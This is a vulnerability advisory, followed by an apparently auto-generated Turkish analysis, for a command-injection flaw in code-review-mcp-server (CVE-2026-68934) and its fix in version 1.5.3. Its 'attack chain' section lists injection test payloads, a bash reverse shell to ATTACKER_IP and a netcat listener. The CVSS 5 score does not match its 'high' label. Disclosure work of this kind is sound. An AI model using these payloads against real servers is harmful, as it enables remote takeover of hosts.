CWE-78
### Impact `code-review-mcp-server` exposes MCP tools (`getLocalGitDiff`, `codeReview`, `createPR`, `getPRTemplate`) that accept `folderPath` and `baseBranch` string parameters. These caller-controlled values were interpolated directly into shell command strings executed via `child_process.execSync()`, which runs commands through `/bin/sh`. A crafted value such as `baseBranch = "main; <arbitrary command> #"` (or a `$(...)` command substitution, or a `folderPath` that breaks out of the surrounding quotes) results in **arbitrary command execution** on the host running the MCP server. ### Patches Fixed in **1.5.3**. Every `execSync()` call was replaced with `execFileSync()` using argument arrays, so inputs are passed directly to `git` / `gh` without going through a shell, eliminating the injection at its root. ### Workarounds None. Upgrade to `[email protected]` or later.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-68934
CVSS 5/10 · YÜKSEK · 16.11.2026
CWE: CWE-78
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: ### Impact
code-review-mcp-server exposes MCP tools (getLocalGitDiff, codeReview, createPR, getPRTemplate) that accept folderPath and baseBranch string parameters. These caller-controlled values were interpolated directly into shell command strings executed via child_process.execSync(), which runs commands through /bin/sh. A crafted value such as `baseBranch = "main; <arbitra…
Etkilenen: code-review-mcp-server
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444
🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 GERÇEK DÜNYA ETKİSİ
🛡️ ÇÖZÜM VE MİTİGASYON
→ code-review-mcp-server için üretici güvenlik güncellemesini uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
⚠️ Planlı bakım (2 hafta) — Yüksek seviye.
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]